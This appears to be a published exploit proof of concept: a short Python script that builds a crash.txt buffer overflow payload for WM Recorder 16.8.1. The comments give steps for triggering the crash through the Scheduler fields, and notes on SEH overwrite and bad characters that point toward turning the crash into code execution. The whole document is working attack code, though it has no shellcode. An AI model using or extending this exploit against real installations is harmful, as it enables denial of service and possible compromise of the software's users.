WM Recorder 16.8.1 Denial Of Service

`#!/usr/bin/python  
  
#  
# Exploit Author: bzyo  
# Twitter: @bzyo_  
# Exploit Title: WM Recorder 16.8.1 - Denial of Service  
# Date: 03-20-2018  
# Vulnerable Software: WM Recorder 16.8.1  
# Vendor Homepage: http://wmrecorder.com/home/  
# Version: 16.8.1  
# Software Link: http://wmrecorder.com/download/wm-recorder/  
# Tested On: Windows 7 x86/x64, Windows 10 x64  
#  
#  
# PoC: generate crash.txt, open app, go to Schedule Recordings, Open Scheduler, paste crash.txt contents in Stream URL, File name and Website URL,  
# change End Recording date to future date, turn scheduler on, select OK  
#  
# app crashes & EIP overwrite;  
# !mona seh > no ppr pointers & !mona seh -all > all aslr/safeseh  
# lots of bad chars including \x90  
#  
  
filename="crash.txt"  
  
junk = "\x41"*429  
  
nseh = "\x42"*4  
  
seh = "\x43"*4  
  
fill = "\x44"*9562  
  
buffer = junk + nseh + seh + fill  
  
textfile = open(filename , 'w')  
textfile.write(buffer)  
textfile.close()  
  
  
`